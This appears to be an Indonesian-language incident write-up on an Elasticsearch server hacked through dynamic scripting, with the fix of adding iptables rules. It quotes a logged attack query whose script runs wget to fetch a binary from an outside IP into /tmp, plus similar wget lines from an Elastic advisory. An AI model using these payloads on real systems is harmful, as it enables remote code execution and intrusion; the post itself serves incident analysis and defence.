Masalah terpecahkan:
Penyebab: Serangan robot pada server kami yang tidak aman.
Menurut sebuah artikel yang diposting oleh elasticsearch:
https://www.elastic.co/blog/scripting-security/
Tindakan yang diambil: Kami menambahkan aturan iptables ke server boneka kami untuk menerapkan semua server elasticsearch kami.
Kami melakukan kesalahan itu dan sayangnya kami membayar harganya. Kami kembali dan berjalan sekarang.
Nah menurut log, saya menemukan sesuatu yang sangat mencurigakan
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
Saya akan memangkas bagian utama:
exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
Ini adalah bentuk peretasan robot, karena kami tidak memiliki yang bernama xiao atau kami tidak meng-host server kami di China (Menurut GEO-IP), kami mencurigai baris ini.
Menurut artikel yang disebutkan di atas:
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
Peretas menerapkan beberapa kueri buruk yang membuat elasticsearch kami berhenti berfungsi.
Kami memulai ulang server kami dan menambahkan Iptables, dan kami kembali berbisnis.